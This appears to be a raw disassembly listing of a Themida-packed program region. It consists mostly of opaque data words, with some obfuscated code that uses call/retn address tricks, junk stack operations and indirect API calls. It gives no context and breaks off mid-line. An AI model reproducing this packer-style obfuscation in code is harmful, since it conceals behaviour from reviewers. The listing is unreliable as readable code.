62ACAF58h, 95ECBD6Eh, 524B247Bh, 1F806BCDh, 9595375Dh dd 6FAF5872h, 39662B4Ch, 0F5A1F7E0h, 12DF4FE9h, 43ECh dd 5EFF3700h, 6508E13h, 0D67C2065h, 0C51D0E93h, 10AAABD8h dd 0AF584218h, 0C06841EAh, 2F743D5Fh, 8A911299h, 3966A4E9h dd 763F59BAh, 95D07D22h, 0D6C7CE08h, 0A635AF57h, 0D601FDFDh dd 1E412DFh, 3F000000h, 0B93959BAh, 57D70B0Fh, 655EF9AFh dd 0E649EF38h, 0AFE28342h, 7E571E3Eh, 65CD7031h, 6E6675F8h dd 8F140D20h, 0FB387516h, 0DC41042Ah, 0C4692043h, 8D169DD3h dd 389BC30Eh, 0C4D55A17h, 2F36FF54h, 41FA4009h, 14B268D3h dd 0A09FB2C2h, 0A06A84CBh, 0AF586968h, 68CCCC7Eh, 9DB6AF58h dd 0ACB6E24Dh, 0A916F406h, 43DADE68h, 8FA8AF58h, 5E05BF77h dd 0F4AD0CDAh, 50B3B5FFh, 0EE3F642Dh, 6AB844Ah, 1008B2D8h dd 0F2B5FFF5h, 2D50DF59h, 0DE7D2664h, 0C6C00A97h, 32B5FFF4h dd 52F1F8B9h, 741EF1Bh, 0B5FFF503h, 59F556C1h, 1286971Ch dd 0CD6142A8h, 0DC7F2088h, 0F4970895h, 7FCF09BDh, 21FEFF35h dd 0DBDF699Dh, 0A9B600CAh, 0E8B92A8Eh, 8387C145h, 41B600CBh dd 0EFB0FDD6h, 0E7990643h, 2D94238Ch, 0C0684BF1h, 0CBF32489h dd 0B600CACFh, 0A51E9AB5h, 1F56F5FCh, 2B6608EBh, 0BB97078Dh dd 42147722h, 109h, 0EB5E7E5h, 1F5AF7D8h, 8F355399h, 57D73D7Dh dd 16FB0FAFh, 0DDBA3E7Bh, 70F6220Dh, 0B60062F1h, 6A3B78D3h dd 9B0482CBh, 0B36CB1F8h, 0CB54D990h, 0E5BEE3A6h, 0E0A70C49h dd 0E46BEA4Bh, 0BCDFE64Fh, 2905B1F5h, 0CC14775Ah, 42h dd 0BB6E757h, 0D74DADDFh, 1C372F57h, 0D7535797h, 23502F57h dd 0CA683966h, 369F228Fh, 3368EE6Dh, 0AAC27372h, 57D71810h dd 6841EA2Fh, 89AB14B2h, 0EE4A63C0h, 57D70018h, 0DD69C2AFh dd 7C52h, 0B5E77500h, 5AF7D80Eh, 1F99921Fh, 0ADCB3D5h dd 8DA6B600h, 95DC7F20h, 6508EB11h, 296872Ch, 1E3FFE9Dh dd 0E4DDCE53h, 0C76BFBFh, 0D2DB600h, 2242E340h, 0D348C66Bh dd 268DC352h, 7395337Dh, 0B6000C37h, 29F6220Dh, 44C7430Ah dd 841E3D0h, 0D351EB1Fh, 0B1BCAD72h, 0E5881986h, 0EBC007ACh dd 0A3F95B4Ah, 47E8FCD1h, 7A74A50Ah, 160FBD70h, 96CC56F0h dd 15B6C35Ah, 0C1453E77h, 0EB5E7DAh, 3DE4AED8h, 0FDDEB605h dd 0F03D165Fh, 0C1450C2Fh, 29763F5Eh, 430BB3Dh, 51FDC22Eh dd 0DC1101C7h, 0CBA0C5FAh, 9EBD266Ah, 2E733E5Fh, 8E9F04FDh dd 0AFE6852Ah, 0DC95B81Bh, 24418B57h, 298F529Dh, 9258A2Eh dd 4B60E74Ch, 940E3EAh, 9F2957BDh, 0C5FBC49Bh, 315DCE69h dd 0D87B2474h, 12B30C91h, 57000000h, 0C49B9F29h, 0CE69C5FBh dd 2A773E5Dh, 0B07CA7F1h, 1158FFCBh, 3970138Ch, 40092BF4h dd 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h, 0CD84A47Dh dd 0D792BF60h, 7F68FA4Ah, 89000027h, 4468240Ch, 89000053h dd 50682434h, 8900001Ch, 88682414h, 8B06AD66h, 0C4832434h dd 4EC8304h, 83242489h, 5A042404h, 170E68h, 24348900h dd 0FF08428Fh, 835A2434h, 348B04C4h, 0E3895324h, 4C381h dd 0C3810000h, 4, 5C241C87h, 0FB11D9E9h, 0F7EC08FFh, 83E48F91h dd 1468CADCh, 0B85FBCABh, 6AD6B8Dh, 0E0FFC503h, 1997F583h dd 58E40BE9h, 3B07C99Dh, 7FDEFD0Dh, 69640242h, 3B692B94h dd 4D6B2257h, 3B2EF927h, 4E3E6C22h, 0B625D02h, 50ECC33Ch dd 2B73F895h, 3BD4B76Fh, 200F2D4h, 3452B085h, 39A0F951h dd 3ADD48C4h, 3B570C09h, 104A9521h, 3ECDE915h, 21E3B9E1h dd 62B9A09Ch, 1160D459h, 0EFB6CC8h, 6D2D8D8Dh, 89F506ADh dd 0A805B98Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0ECEC6F7Dh, 8D0F97FBh dd 6, 1B99BD31h, 85C706A8h, 6A81469h, 6CF4h, 13E9h, 0AC7ACB00h dd 330E5E6h, 0D22F725Bh, 37DB2776h, 0CB9BD300h, 0BBD85C7h dd 6A8h, 0F98B0000h, 0FFD98B66h, 0A814A1B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8A0F1A89h, 6, 2FCFD681h, 95FF517Ch, 6A820DDh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0ABC35242h, 3577C700h dd 6673B013h, 6ADF8B66h, 3195FF00h, 8B06A81Bh, 0B629EBC0h dd 0F483733h, 91155164h, 290E141Dh, 0D93C2608h, 0A814671Ah dd 0A16E23A9h, 91F6961Eh, 0A3069DF8h, 0CF6B0CD3h, 927C437h dd 6E5D8D8Dh, 6A06ADh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 66BB35C3h, 0FDAD4BBh, 8D89D1B7h dd 6A805B9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0AFC35141h, 66D95596h, 0C7758FBBh, 0A8146985h dd 611806h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 8A1347EAh, 0FEEF480h, 85C7F6BFh dd 6A80BBDh, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5A07FF and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A07FF proc near ; CODE XREF: Themida_:005A07F7p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5A07FF endp ; --------------------------------------------------------------------------- db 0E2h dd 0F3FD09D8h, 0E9514F53h, 0Ah, 0B3FD4921h, 0D38C47Ah dd 0B5FFE72Fh, 6A83509h, 160DBD01h, 95FF06A8h, 6A820DDh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 7AC35141h dd 0A14D33B4h, 0B7C260C3h, 5985892Eh, 6A06A81Ah, 3195FF00h dd 8B06A81Bh, 0C268EBC0h, 241F9ECAh, 0A48A4109h, 0CC6CE185h dd 0E8207A87h, 74EB251Dh, 78291E2Ah, 719D4513h, 0B438B540h dd 0FDC2F6F9h, 5C1114BEh, 0D704DAC6h, 0A1C1CFA5h, 0DD80B8AFh dd 16264237h, 6C73F678h, 0DE6625E6h, 5295417Ah, 1DBCB146h dd 1D0BD591h, 24502B96h, 5BA0A118h, 0CFF8C3F9h, 3493C3DAh dd 591C7A9Bh, 465A9148h, 0E99C1D89h, 0EEh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 14C35141h, 5B882BAEh dd 8DD34301h, 0AD6F4AB5h, 858DF506h, 6AB3B9Bh, 0D88B6660h dd 810F56h, 5B000000h, 0E9D0FF61h, 13h, 2F527473h, 926EA2B2h dd 82E20198h, 0E8BF804Ah, 0C3F90882h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0D6C35545h, 0CF816660h, 66614AC0h dd 8A60D98Ch, 0A60ABAE6h, 0F6610293h, 840F04C1h, 4Eh, 11E9h dd 0AE0B7000h, 97202FF0h, 0C73EEF48h, 7291D055h, 0FB8B905Dh dd 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh, 49D78BF9h, 0EBD98Bh dd 13F20CDh, 0C00B0001h, 708D1874h, 8BFA8B0Ch, 0A75A6CBh dd 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh, 0CF000000h, 0CB8160FCh dd 64D6150Fh, 85C761F8h, 6AD6F8Dh, 1013Fh, 11E8h, 0FFE7A400h dd 0C283321h, 0E8813C2Eh, 6A2A8864h, 9E823EBh, 0B000000h dd 0C839D832h, 4F137A00h, 5B5AF28Bh, 11BF6660h, 52CC8093h dd 70C38161h, 0E900005Ah, 8, 7591BDB6h, 88BF6076h, 0C9BEC033h dd 8B2B9B92h, 0E952033Ch, 0Ch, 78162642h, 0E66C73F6h, 7ADE6625h dd 2CEF815Ah, 0F70510Bh, 198Dh, 14E900h, 330A0000h, 5D7B884Bh dd 3CA8D13Fh, 1C5A47FBh, 119E8439h, 0EF81BB26h, 70C6EAD7h dd 887EBF60h, 0DE815C22h, 6DF4C06Ah, 0DDEF8161h, 0F971C483h dd 5BCEBE57h, 48F0874h, 0C3FBE03h, 5A565DC4h, 0D761E881h dd 810F063Bh, 0Bh, 58E0Fh, 81660000h, 81FBAAEAh, 3BD75DC0h dd 18860F06h, 0E8000000h, 0Eh, 14536AE2h, 70B97194h, 0AAAE259Eh dd 0BE6600EFh, 815EA681h, 0FFA6CCF8h, 32850FFFh, 0E8000000h dd 11h, 36CEA574h, 685B0103h, 44F340BFh, 0CFED4A21h, 8E9F9h dd 0C9F30000h, 8F9FD838h, 0E959F582h, 25h, 0E81427A9h dd 4FCE1C81h, 0D6816622h, 18E9C5F2h, 0E8FFFFFFh, 1B3EDB50h dd 615BA846h, 0BBF2A698h, 400D5BC4h, 60EB31h, 17h dup(0) dd 0E9000000h, 0B4Ah, 0B3EE9h, 796B6800h, 3FE906ADh, 68FFFB0Ch dd 6AD7A96h, 0FB0C35E9h, 7B0868FFh, 2BE906ADh, 69FFFB0Ch dd 0A00387CEh, 0CF70B6F3h, 0F95AE0A9h, 298A1055h, 7AC14508h dd 0F7BADB37h, 236E10B3h, 51183CE7h, 82CB6AD5h, 0BAA004h dd 0B6054808h, 0BA97BCFAh, 2E733A59h, 52F4BBFDh, 427F921Fh dd 0D48E520h, 89E77A0h, 19CD84A7h, 1F4F5FDFh, 55F3ADDCh dd 0AD86971Ch, 0FD4D7D55h, 0A7F11262h, 90DC1EC4h, 67BCEA5h dd 0E775B5D7h, 0E44FAF57h, 6202AD0Bh, 7014FF2Bh, 930CFF39h dd 0A708BEF3h, 385CCD84h, 0BDFB2C71h, 0B43455CEh, 57E71612h dd 6A43ECAFh, 52BC3ABCh, 74D95DBAh, 18119ED3h, 891A892Fh dd 0E278A5E8h, 852A6301h, 0F79B0494h, 0EF50153Ah, 80990643h dd 0B1F97397h, 0EDBBA19Dh, 0B46DDE5Ah, 0CF50DD94h, 0ACBAE7A2h dd 6AAED806h, 58AF5800h, 0FFD3D7FFh, 86B1AF57h, 0EE4A0325h dd 0A4C8FB59h, 53B715EDh, 617AD2A7h, 0D0715288h, 0F4397415h dd 0EA1CCAA3h, 0AF5872AEh, 0F77DBB94h, 5E46355h, 0D0F621B6h dd 662F49AAh, 0E748E039h, 0A8E1874Ah, 60D06BBFh, 0A9E527C3h dd 9BB605E4h, 0BFF6927Dh, 5E51317h, 6D46F1B6h, 753C5FC0h dd 5CFF0A31h, 0D9B2FB9Dh, 0EDA0C22Dh, 0DAC15740h, 0B4E7E6C3h dd 0FDDA180Dh, 0DFCAE8F4h, 3DEF15h, 0E7300000h, 0BA180DB4h dd 57D70800h, 0BBD9FAAFh, 47ED19F2h, 57D70505h, 0B0FD9EAFh dd 42A83A73h, 57D70038h, 7069C2AFh, 0E90B6966h, 65B33724h dd 0FFDDBA3Eh, 0C5321752h, 1BDFE0h, 0E7FA0000h, 0BA180DB4h dd 57D70800h, 8B70D9AFh, 52FFDDBAh, 6D10F317h, 0C5AFF424h dd 0EB5E7E0h, 0E1FFAED8h, 6AC5B5FFh, 0E20105C5h, 369DB5FFh dd 0DD716D6Dh, 0F5941477h, 0AF000001h, 0DC0AA9E7h, 622B4DB6h dd 0D7003036h, 0B8E6AF57h, 557D3457h, 0AF57D755h, 81A3042Fh dd 75DE60C8h, 15D47728h, 0A2FB3875h, 90B21DC9h, 0CAF15BDDh dd 30155CFFh, 4FF927C3h, 0AF57D74Bh, 8BAD1E39h, 0EC4C5DC2h dd 0DB4E7C7h, 3B59BA18h, 0BCFC2D72h, 0E8F4E9D6h, 0EF15DFCAh dd 63h, 0C0B4E730h, 57D78286h, 0FED740AFh, 0B31CBA09h dd 4556DB9Eh, 0AB0841E4h, 0E8202672h, 0FEAF57D6h, 57F17915h dd 0AF57D753h, 8B2D0631h, 0BAFDEA45h, 5454F61Ch, 2EAF57D7h dd 423CCD05h, 19827A3Ah, 52FF949Fh, 0B078C2F6h, 8962C1D3h dd 0BAE0C59Ch, 72550430h, 0F595487Eh, 49227BB8h, 4460EFh dd 0BA3B0000h, 0D6AEEA1Ch, 0BB94AF57h, 0B00BAA7Dh, 800BACBh dd 0D9AF57D7h, 0A0B93BBDh, 0C0BD31B9h, 58300206h, 66A2E4AFh dd 5CAF5830h, 6F58F3F3h, 0EA1CBA7Ah, 0AF57D6AEh, 284ABB94h dd 42293365h, 321752FFh, 0A9E7E0C5h, 55F3DC0Ah, 34569C1Ch dd 0AF57D700h, 5BC469C2h, 0CF357138h, 0AF0940E4h, 9D5CFF84h dd 3B6CB1FCh, 59BA6542h, 0FE2F7439h, 0BADCC9BAh, 0D6AEEA1Ch dd 0BB94AF57h, 0B00BAA7Dh, 0BA3CDACBh, 0C341EB11h, 0DDC652E7h dd 0DFCAE8F4h, 49EF15h, 4BF10000h, 57D6F931h, 0C860CBB2h dd 0DB4E7E3h, 800BA18h, 0DEAF57D7h, 0D71216B0h, 47F0AF57h dd 0D72119A3h, 48E3AF57h, 10F55EE0h, 52FFDDBAh, 6E10F317h dd 0BADFE23h, 0EA1CBA20h, 0AF57D6AEh, 887DBB94h, 54DF93h dd 0E7FA0000h, 0B3D90DB4h, 57D71109h, 75B5D7AFh, 4FAF57D7h dd 0A2C1E2E4h, 7C5546EBh, 0BAF73Ch, 0AF57D708h, 0BA8B70D9h dd 8BCBCB30h, 11931BE3h, 5256A0F4h, 0D380E1D9h, 98100996h dd 52FFF552h, 21C53217h, 0D74941FBh, 983BAF57h, 64C5BEFBh dd 0F22B88C1h, 0ACDF7DA6h, 0FA000000h, 0DC0AA9E7h, 622B4DB6h dd 0BA4CEC3Dh, 0AF57D786h, 1FF1327Ch, 0B62F2761h, 0ACCF50DDh dd 0A982CB6Dh, 0BFF6927Dh, 0FFB49379h, 0C330155Ch, 0DB4E7E6h dd 0F4FDDA18h, 15DFCAE8h, 0F0B9DCC7h, 1C3E7AB3h, 2Ah, 0DB4E727h dd 1E57F6D9h, 0B109891h, 93B31CBAh, 0D05851DEh, 57D71216h dd 6247F0AFh, 52FFDDBAh, 0E0C53217h, 3EDFh, 0B4E7FA00h dd 0BA180Dh, 0AF57D708h, 9558F5DEh, 68C0B9F4h, 4D042485h dd 0E9DEB7E0h, 52FFDDBAh, 3355F317h, 0AF57D6F7h, 600162CDh dd 0BAA08B2Dh, 9002E230h, 0BA2B258Ch, 514AD79Eh, 0FF3962C7h dd 6AAED85Ch, 58AF57D7h, 79B1CBFFh, 4BAF57D7h, 0F9AAF7E0h dd 2B94125Bh, 1ADC4108h, 0AF57D71Ch, 2C33FCD9h, 59FA4009h dd 302E733Ah, 0B6E2AFCFh, 0F8D3F117h, 440D3037h, 0A1D745C6h dd 0D3501D3Eh, 0D6F830DAh, 61CAAF57h, 85285288h, 7FB5FFE1h dd 878F4FD4h, 23B5FFE1h, 0FFEBE748h, 1E1477DCh, 28h, 155CFF21h dd 0D74A4E88h, 3859AF57h, 0DB772875h, 75F9119Eh, 0A3EDE523h dd 36FFF48Ch, 0F2B318A7h, 0E88948EBh, 517ECCA5h, 0FC9D5CFFh dd 0A33B6CB1h, 96EF0E6Fh, 0E74C25B8h, 994DF626h, 77B3D573h dd 4DAF5835h, 0DAB0B6E2h, 0A8B605A6h, 1B9D5B6Eh, 325459FAh dd 0B60592F6h, 918A63CCh, 0B902B215h, 5AFCE70Dh, 7918A17h dd 0AD9D5EC1h, 0E38324BCh, 9CE1D963h, 88A3BCADh, 9F00A69Fh dd 3C6DB2FFh, 0F0D30FFCh, 8F98054Ch, 9CD7DF29h, 18F3BCADh dd 10AF9B97h, 1A4E1F8Ah, 0D1000000h, 0DC0AA9E7h, 57D77EAAh dd 0C26344AFh, 8F70968Fh, 991AA0E9h, 38h, 0EA1CBABCh, 0AF57D6AEh dd 0AA7DBB94h, 58153516h, 1501BB6Fh, 0CBAF57D7h, 0A60B46E8h dd 0FF1D2375h, 953D7414h, 0AF57D795h, 3FEBC46Fh, 400D2E91h dd 0C16ECAE3h, 7358EEA7h, 179DFh, 0ABE7FA00h, 0E6C31308h dd 30155CFFh, 95E130BAh, 0B0C32191h, 0F4B59278h, 15DFCAE8h dd 1CEFh, 0ABE73000h, 0BA1308h, 0AF57D708h, 0BA7451FAh dd 1059FFDDh, 0DFE0C52Bh, 3Eh, 8ABE7FAh, 3BF398D2h, 0A86BAA63h dd 0B54D7CAEh, 58D0D041h, 800BA53h, 0D9AF57D7h, 0B5F517BDh dd 8FAF57D6h, 0D71E1AA4h, 86E4AF57h, 57D74444h, 3C153EAFh dd 0DDBA6643h, 2B1059FFh, 5CFFE0C5h, 314BF115h, 0AF57D6F9h dd 0E3C860CBh, 0B4E7E6C3h, 0B6AFE685h, 0C58CAF10h, 228FC264h dd 0DA84AF09h, 3474963Ch, 0EAF57D7h, 0F4A8F325h, 15DFCAE8h dd 5EEFh, 2C67F100h, 0AA7B2A00h, 0C6BFF692h, 1CBA4952h dd 57D6AEEAh, 4ABB94AFh, 0E13A672Eh, 0E65DF0B7h, 0DA1CBA01h dd 548C95CEh, 0B3B5E3BBh, 0AF583277h, 0BA05E24Dh, 0D6AEEA1Ch dd 0BB94AF57h, 0BA88F77Dh, 0BBD3559h, 0AF57D70Fh, 69615AF5h dd 0CBC8E38Ah, 61CE6AA3h, 0C59C89CCh, 43DFE0h, 0E7FA0000h dd 0BA180DB4h, 57D70800h, 58F5DEAFh, 1187901Dh, 1C1CAECCh dd 0E6AF57D7h, 0D7424680h, 1700AF57h, 7BA1453Eh, 57D6C9C1h dd 1890BBAFh, 3859BA13h, 0B9FF2875h, 52FFD4B3h, 69B6F39Fh dd 0C5624730h, 9C5DFFE0h, 3F68B5FCh, 1611D946h, 0E9AF57D7h dd 82C33FCh, 0C58FAEA0h, 524BE8A5h, 0BDCD1E98h, 9333E325h dd 5D36B8A7h, 5DFFE2C9h, 76168F14h, 4DE9BB7h, 0D0AD41ADh dd 29766F4Eh, 5D64CD66h, 0D630763Fh, 0AF58A90Fh, 74B9F094h dd 0E7D24A23h, 2E12DF00h, 4EEAA3C5h, 0FFFE558Ch, 5EA697FFh dd 1CAF57D7h, 0AF57D798h, 8EC7654Eh, 0D6DBDC2Ah, 9591AF57h dd 57AF57D7h, 0AF57D74Fh, 5951EB11h, 2BAF57D7h, 565EA800h dd 556F57D7h, 1CAE5CE7h, 7602C3CFh, 410C2E91h, 6B2E43DCh dd 3F182672h, 4900288Bh, 0FDE67CEFh, 4831550h, 2B8FA390h dd 85030653h, 423B14EBh, 1CE362A4h, 76A17CAAh, 7FED3652h dd 0E8595A2Ch, 285h dd 6EBCF594h, 59EDA8C5h, 8F1B52F6h, 0FF4B0E24h, 287E3354h dd 63040EA3h, 1737982Eh, 0C163CC5Ah, 0F2913288h, 6DFF6FBBh dd 54FDFDBh, 0B867A5B6h, 763F59BAh, 97DE7D22h, 0A813810Ah dd 482EC872h, 0B314B605h, 0B3F71195h, 91B60547h, 1235CDA6h dd 0B9C34057h, 0DB2D7952h, 0B60533DBh, 23C77CD0h, 0B2A5AB99h dd 0C15F99BCh, 6245B1BDh, 9E773A5Ch, 0AEF701A5h, 36D8AC72h dd 8D2B3167h, 0EF490C22h, 0D6541D40h, 0E512AE28h, 8B430A29h dd 15763CE7h, 0A6F73C79h, 268EAD72h, 0A3F04682h, 0D45932E4h dd 0B2091A12h, 982391BCh, 7A46D862h, 133CC35Fh, 20690CF7h dd 347919FAh, 96B51EE4h, 6BC952DFh, 377C3558h, 0AFD90DE6h dd 0CA0CEBCDh, 96179CB7h, 86699D26h, 4B0226E7h, 2DCB5E6h dd 7D1AE25Ch, 569C1C82h, 0BADC0234h, 0B357C0D0h, 26642D50h dd 0A97DE7Dh, 1F52F3DCh, 0F6325492h, 0CCD0BADBh, 0D82E8A63h dd 0D0BAF5DCh, 20C67DDFh, 686800E6h, 0C469C2D7h, 0BC6AD143h dd 1091DF0Ah, 5E8AA5DEh, 0CB197934h, 5A867FBCh, 69000001h dd 0A00387CEh, 0CF70B6F3h, 0F95AE0A9h, 298A1055h, 7AC14508h dd 0F7BADB37h, 236E10B3h, 51183CE7h, 82CB6AD5h, 0BAA004h dd 0B6055108h, 0E797BCFAh, 818DEFB5h, 0A0BF11CDh, 62D913B7h dd 0D74D107Dh, 64A64CECh, 0B6058782h, 0C14AD740h, 0A7E32553h dd 9DB60587h, 9B2DD9B2h, 0BCAD97F0h, 216C0DF6h, 0C30DABFCh dd 730CB068h, 2F8CEC7Ch, 0E856h, 1950F700h, 480D228Dh dd 7E3751F2h, 0AEEB8728h, 0DB96B718h, 61B1C04Fh, 96398DC0h dd 0C26DB9F4h, 0F45FEBA2h, 1A821851h, 528286C0h, 3A40B605h dd 0EB5E71Dh, 48D0AED8h, 99B2B605h, 29E88B14h, 0DE6C4508h dd 129FD675h, 6A902B89h, 0B2B9E2D0h, 0BAA0BCh, 0BCB2BA08h dd 227851FAh, 2264EC81h, 0BCB2B9E6h, 37B947D4h, 0D111F482h dd 96398D66h, 0E10FBBF2h, 0B1F963A7h, 0A2F621BCh, 9EDB77D8h dd 0ABE68768h, 7B1C870Dh, 0F6469036h, 6451649Eh, 61C248E0h dd 96398DC0h, 0E70DB9F4h, 0B28965A5h, 0A4F45FBCh, 16D775DEh dd 7BAEDA72h, 161D87ACh, 5DC6443Dh, 9033773Eh, 0F967A3EEh dd 91B17416h, 6DBEE3DCh, 63D87CCBh, 410F0547h, 5AF5C360h dd 0E8294CD5h, 0EA100940h, 6E96F060h, 96022173h, 3A32Ch dd 0B0860000h, 1158FFCBh, 3970138Ch, 40092BF4h, 6D2042E3h dd 733E5FC0h, 99D4752Eh, 0A2E78B14h, 0CD84A47Dh, 0D792BF60h ; --------------------------------------------------------------------------- dec edx cli push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 7393h mov [esp], esi mov esi, 57591685h xor esi, 62CF05C7h shl esi, 6 add esi, 0A128A116h mov edx, esi pop esi push esp mov ecx, [esp] add esp, 4 push eax mov eax, 8 sub eax, 1684087h add eax, ecx add eax, 1684087h mov [eax], edx pop eax push dword ptr [esp] pop ecx add esp, 4 mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp loc_5A16B5: ; CODE XREF: Themida_:005A16BAj jmp loc_5517CE ; --------------------------------------------------------------------------- jge short loc_5A16B5 lea edx, [edi] jle short loc_5A16D7 jns short near ptr loc_5A16D7+1 pop ecx mov eax, 6AD7C15h add eax, ebp mov eax, ebx jmp loc_5A1937 ; --------------------------------------------------------------------------- db 60h, 66h, 8Ch db 0D9h, 0F6h, 0C1h ; --------------------------------------------------------------------------- loc_5A16D7: ; CODE XREF: Themida_:005A16BEj ; Themida_:005A16C0j add al, 0Fh test ds:6A000000h, dh add edi, edi mov ch, 0F9h xor [eax+71858D06h], ebp imul ebp, [ebx-762F00FAh], 0A8268D85h push es mov edi, esi shr edi, 0Ch push 20060000h push 0 push 2 push edi push 1000Dh call dword ptr [ebp+6A8268Dh] jmp loc_5A1745 ; --------------------------------------------------------------------------- mov byte ptr [ebp+6A815D5h], 56h push 0A9C530DFh push dword ptr [ebp+6A80F95h] lea eax, [ebp+6AB6971h] call eax mov [ebp+6A81405h], eax lea eax, [ebp+6A80755h] push eax push 40h push 5 push esi call dword ptr [ebp+6A81405h] loc_5A1745: ; CODE XREF: Themida_:005A170Ej popa retn ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dd 52000000h, 8B60D48Bh, 85890842h, 6AD7D42h, 890C428Bh dd 0AD7D3A85h, 10428B06h, 7D3E8589h, 0B58D06ADh, 6AD7D78h dd 8EA1858Dh, 0D0FF005Bh, 0CC25A61h, 42B58B00h, 8B06AD7Dh dd 0AD7D3A85h, 3EBD8306h, 6AD7Dh, 7840Fh, 6890000h, 2E9h dd 0CF068800h, 2 dup(0) ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov eax, [edx+8] mov [ebp+6AD7D42h], eax lea esi, [ebp+6AD7DC9h] lea eax, dword_5B8EA1[ebp] call eax popa pop edx mov eax, [ebp+6AD7D42h] retn 4 ; --------------------------------------------------------------------------- dw 858Bh dd 6AD7D42h, 8589008Bh, 6AD7D42h, 0CFh, 0B5896000h, 6AD7D9Fh dd 7D9B8589h, 858D06ADh, 6A82815h, 8944408Bh, 0AD7DD885h dd 0EB58D06h, 8D06AD7Eh, 5B8EA185h, 61D0FF00h, 7D9F858Bh dd 8BC306ADh, 0AD7D9B9Dh, 43B70F06h, 8BD8033Ch, 9D03785Bh dd 6AD7D9Bh, 324738Bh, 0AD7D9BB5h, 7B8B5606h, 1C738B20h dd 7D9BBD03h, 0B50306ADh, 6AD7D9Bh, 0FFC983FCh, 9F9D8B41h dd 8B06AD7Dh, 9B950317h, 8306AD7Dh, 28A04C7h, 840FC084h dd 0Fh, 850F033Ah, 0FFFFFFDCh, 0E7E94243h, 3AFFFFFFh, 0CD850F03h dd 5FFFFFFFh, 0B70FE1D1h, 48B0F04h, 9B850386h, 8906AD7Dh dd 0AD7D9F85h, 8BF08B06h, 81C18BCEh, 0AD7DD8BDh, 30000006h dd 0D850FC0h, 0C1000000h, 0FC2514E8h, 0E900000Fh, 8, 2512E8C1h dd 3FF8h, 7DD8BD8Bh, 0C8306ADh, 148B0607h, 24C28B07h, 8B813C81h dd 57840FC1h, 81000000h, 0AD7DD8BDh, 30000006h, 0D850FC0h dd 0C1000000h, 0FC250AE8h, 0E9003FFFh, 8, 2509E8C1h, 7FFFF8h dd 2Dh, 6088340h, 8000F7h, 840F0000h, 1Eh, 7DD8BD81h, 6ADh dd 840FC030h, 0Eh, 3FF825h, 808B00h, 83C06000h db 8, 6, 0CFh ; --------------------------------------------------------------------------- loc_5A1937: ; CODE XREF: Themida_:005A16CCj lea eax, [ebp+6AD7D46h] mov [ebp+6A80D65h], eax lea eax, [ebp+6AD7DDCh] mov [ebp+6A81EB9h], eax lea eax, [ebp+6AD7DA3h] mov [ebp+6A816F5h], eax lea ecx, [ebp+6AD803Ch] push 0 push ebx call sub_5A196C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A196C proc near ; CODE XREF: Themida_:005A1964p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5A196C endp ; --------------------------------------------------------------------------- adc al, 35h adc bl, [esi+38h] xchg eax, edi nop pop eax aam 8Bh retn 89F8h ; --------------------------------------------------------------------------- lea edi, [ecx+6606A805h] xor edx, 85C7A118h imul edx, [eax+ebp*4], 6F9C06h add [edx+0], ch push edi call sub_5A19A8 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A19A8 proc near ; CODE XREF: Themida_:005A19A0p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5A19A8 endp ; --------------------------------------------------------------------------- dd 0CB83E112h, 8BBCE889h, 0A8349595h, 0BD85C706h, 6A80Bh dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 864DC357h, 66F7C001h, 0B5FFC38Bh dd 6A80E01h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 4FC35646h, 0BE66BA76h, 95FF2C4Fh, 6A820DDh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A9C35545h, 191B8763h dd 6A83F4h, 1B3195FFh, 0C08B06A8h, 0BC6049EBh, 5DA888A2h dd 8266115Eh, 0DC4D84A6h, 2700CBECh, 0EA757DF5h, 0A5F925FBh dd 78B7871h, 168A4BC5h, 6055D774h, 0C68A9BA4h, 1F2133E8h dd 39654041h, 341B3413h, 0FF75E063h, 0D4DA76AFh, 98AC3406h dd 0E40B160Bh, 2C5D777Fh, 161E0B1Dh, 802A2FB1h, 3DF36D6Dh dd 4C07797Fh, 0FF7B053Bh, 54FDD47Eh, 0B180978Bh, 1032E98Bh dd 90D079FFh, 721C7D0Bh, 50014986h, 0F93DD53Dh, 3E32D401h dd 1F263D6Ah, 9146D43Bh, 0DF5F2048h, 8E17F34Bh, 1CB69244h dd 0A5938B62h, 1C683566h, 1DD135BAh, 0F653F7B8h, 8F32D6CBh dd 0C73E5034h, 0E4DBD43Bh, 0A432D43Bh, 0E0945A86h, 0C1B124B8h dd 389AC31Eh, 8B6DB3Bh, 532D43Bh, 0C5F83DF0h, 6854D43Bh dd 